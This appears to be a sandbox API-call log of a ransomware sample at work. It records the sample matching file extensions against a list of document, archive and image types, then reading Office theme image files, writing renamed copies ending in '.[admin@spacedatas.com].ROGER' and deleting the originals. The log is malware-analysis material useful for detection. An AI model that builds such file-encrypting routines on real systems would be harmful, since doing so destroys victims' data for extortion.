[0048.402] lstrlenW (lpString=".doc") returned 4 [0048.402] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0048.402] lstrlenW (lpString=".docx") returned 5 [0048.402] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0048.402] lstrlenW (lpString=".pdf") returned 4 [0048.402] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0048.402] lstrlenW (lpString=".xls") returned 4 [0048.402] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0048.402] lstrlenW (lpString=".xlsx") returned 5 [0048.402] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0048.402] lstrlenW (lpString=".ppt") returned 4 [0048.402] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0048.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.402] lstrlenW (lpString=".zip") returned 4 [0048.402] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0048.402] lstrlenW (lpString=".rar") returned 4 [0048.402] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0048.402] lstrlenW (lpString=".bz2") returned 4 [0048.402] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0048.402] lstrlenW (lpString=".7z") returned 3 [0048.402] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0048.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.402] lstrlenW (lpString=".dbf") returned 4 [0048.402] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0048.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.402] lstrlenW (lpString=".1cd") returned 4 [0048.402] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0048.402] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\JOURNAL\\THMBNAIL.PNG") returned 76 [0048.402] lstrlenW (lpString=".jpg") returned 4 [0048.402] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0048.403] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.403] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.403] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1659) returned 1 [0048.403] CloseHandle (hObject=0x390) returned 1 [0048.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 0x20 [0048.403] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.403] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.403] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.403] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.404] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b8 [0048.601] GetLastError () returned 0x0 [0048.601] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x67b, lpOverlapped=0x0) returned 1 [0048.707] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x680, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x680, lpOverlapped=0x0) returned 1 [0048.708] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.708] WriteFile (in: hFile=0x3b8, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.708] SetEndOfFile (hFile=0x3b8) returned 1 [0048.709] CloseHandle (hObject=0x3b8) returned 1 [0048.709] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.709] SetEndOfFile (hFile=0x390) returned 1 [0048.709] CloseHandle (hObject=0x390) returned 1 [0048.709] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.710] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\layers\\preview.gif")) returned 1 [0048.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.710] lstrlenW (lpString=".doc") returned 4 [0048.710] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.710] lstrlenW (lpString=".docx") returned 5 [0048.710] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.710] lstrlenW (lpString=".pdf") returned 4 [0048.710] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.710] lstrlenW (lpString=".xls") returned 4 [0048.710] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.710] lstrlenW (lpString=".xlsx") returned 5 [0048.710] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.710] lstrlenW (lpString=".ppt") returned 4 [0048.710] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.710] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.710] lstrlenW (lpString=".zip") returned 4 [0048.710] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.710] lstrlenW (lpString=".rar") returned 4 [0048.710] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.710] lstrlenW (lpString=".bz2") returned 4 [0048.711] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.711] lstrlenW (lpString=".7z") returned 3 [0048.711] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.711] lstrlenW (lpString=".dbf") returned 4 [0048.711] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.711] lstrlenW (lpString=".1cd") returned 4 [0048.711] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.711] lstrlenW (lpString=".jpg") returned 4 [0048.711] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.711] lstrlenW (lpString=".doc") returned 4 [0048.711] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.711] lstrlenW (lpString=".docx") returned 5 [0048.711] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.711] lstrlenW (lpString=".pdf") returned 4 [0048.711] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.711] lstrlenW (lpString=".xls") returned 4 [0048.711] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.711] lstrlenW (lpString=".xlsx") returned 5 [0048.711] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.711] lstrlenW (lpString=".ppt") returned 4 [0048.711] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.711] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.711] lstrlenW (lpString=".zip") returned 4 [0048.711] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.711] lstrlenW (lpString=".rar") returned 4 [0048.711] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.711] lstrlenW (lpString=".bz2") returned 4 [0048.712] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.712] lstrlenW (lpString=".7z") returned 3 [0048.712] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.712] lstrlenW (lpString=".dbf") returned 4 [0048.712] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.712] lstrlenW (lpString=".1cd") returned 4 [0048.712] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.712] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\LAYERS\\PREVIEW.GIF") returned 74 [0048.712] lstrlenW (lpString=".jpg") returned 4 [0048.712] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.712] lstrcmpiW (lpString1=".GIF", lpString2=".ROGER") returned -1 [0048.712] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0048.712] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.712] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=1439) returned 1 [0048.712] CloseHandle (hObject=0x390) returned 1 [0048.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 0x20 [0048.713] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.713] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.713] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.713] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0048.958] GetLastError () returned 0x0 [0048.958] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x59f, lpOverlapped=0x0) returned 1 [0048.989] WriteFile (in: hFile=0x3ac, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x5a0, lpOverlapped=0x0) returned 1 [0048.989] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0048.990] WriteFile (in: hFile=0x3ac, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xea, lpOverlapped=0x0) returned 1 [0048.990] SetEndOfFile (hFile=0x3ac) returned 1 [0048.990] CloseHandle (hObject=0x3ac) returned 1 [0048.990] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.990] SetEndOfFile (hFile=0x390) returned 1 [0048.991] CloseHandle (hObject=0x390) returned 1 [0048.991] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0048.991] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\quad\\preview.gif")) returned 1 [0048.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.991] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.991] lstrlenW (lpString=".doc") returned 4 [0048.991] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.991] lstrlenW (lpString=".docx") returned 5 [0048.991] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.991] lstrlenW (lpString=".pdf") returned 4 [0048.991] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.991] lstrlenW (lpString=".xls") returned 4 [0048.991] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.991] lstrlenW (lpString=".xlsx") returned 5 [0048.991] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.991] lstrlenW (lpString=".ppt") returned 4 [0048.991] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.992] lstrlenW (lpString=".zip") returned 4 [0048.992] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.992] lstrlenW (lpString=".rar") returned 4 [0048.992] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.992] lstrlenW (lpString=".bz2") returned 4 [0048.992] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.992] lstrlenW (lpString=".7z") returned 3 [0048.992] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.992] lstrlenW (lpString=".dbf") returned 4 [0048.992] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.992] lstrlenW (lpString=".1cd") returned 4 [0048.992] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.992] lstrlenW (lpString=".jpg") returned 4 [0048.992] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.992] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.992] lstrlenW (lpString=".doc") returned 4 [0048.992] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0048.992] lstrlenW (lpString=".docx") returned 5 [0048.992] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0048.992] lstrlenW (lpString=".pdf") returned 4 [0048.992] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0048.992] lstrlenW (lpString=".xls") returned 4 [0048.992] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0048.992] lstrlenW (lpString=".xlsx") returned 5 [0048.992] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0048.992] lstrlenW (lpString=".ppt") returned 4 [0048.993] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0048.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.993] lstrlenW (lpString=".zip") returned 4 [0048.993] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0048.993] lstrlenW (lpString=".rar") returned 4 [0048.993] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0048.993] lstrlenW (lpString=".bz2") returned 4 [0048.993] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0048.993] lstrlenW (lpString=".7z") returned 3 [0048.993] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0048.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.993] lstrlenW (lpString=".dbf") returned 4 [0048.993] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0048.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.993] lstrlenW (lpString=".1cd") returned 4 [0048.993] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0048.993] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\QUAD\\PREVIEW.GIF") returned 72 [0048.993] lstrlenW (lpString=".jpg") returned 4 [0048.993] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0048.993] lstrcmpiW (lpString1=".PNG", lpString2=".ROGER") returned -1 [0048.993] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0048.993] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.997] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x3e7ff1c | out: lpFileSize=0x3e7ff1c*=31975) returned 1 [0048.997] CloseHandle (hObject=0x390) returned 1 [0048.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 0x20 [0048.997] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0048.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390 [0048.997] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.997] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0048.997] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3ac [0048.997] GetLastError () returned 0x0 [0048.997] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x7ce7, lpOverlapped=0x0) returned 1 [0048.999] WriteFile (in: hFile=0x3ac, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0x7cf0, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0x7cf0, lpOverlapped=0x0) returned 1 [0049.000] ReadFile (in: hFile=0x390, lpBuffer=0x4960020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3e7fed4, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesRead=0x3e7fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.000] WriteFile (in: hFile=0x3ac, lpBuffer=0x4960020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3e7fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4960020*, lpNumberOfBytesWritten=0x3e7fc9c*=0xec, lpOverlapped=0x0) returned 1 [0049.000] SetEndOfFile (hFile=0x3ac) returned 1 [0049.001] CloseHandle (hObject=0x3ac) returned 1 [0049.001] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3e7fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.001] SetEndOfFile (hFile=0x390) returned 1 [0049.002] CloseHandle (hObject=0x390) returned 1 [0049.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x20) returned 1 [0049.002] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\thmbnail.png")) returned 1 [0049.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.002] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.002] lstrlenW (lpString=".doc") returned 4 [0049.002] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0049.002] lstrlenW (lpString=".docx") returned 5 [0049.002] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0049.002] lstrlenW (lpString=".pdf") returned 4 [0049.002] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0049.002] lstrlenW (lpString=".xls") returned 4 [0049.002] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0049.002] lstrlenW (lpString=".xlsx") returned 5 [0049.002] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0049.002] lstrlenW (lpString=".ppt") returned 4 [0049.003] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.003] lstrlenW (lpString=".zip") returned 4 [0049.003] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0049.003] lstrlenW (lpString=".rar") returned 4 [0049.003] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0049.003] lstrlenW (lpString=".bz2") returned 4 [0049.003] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0049.003] lstrlenW (lpString=".7z") returned 3 [0049.003] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.003] lstrlenW (lpString=".dbf") returned 4 [0049.003] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.003] lstrlenW (lpString=".1cd") returned 4 [0049.003] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.003] lstrlenW (lpString=".jpg") returned 4 [0049.003] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.003] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\THMBNAIL.PNG") returned 75 [0049.003] 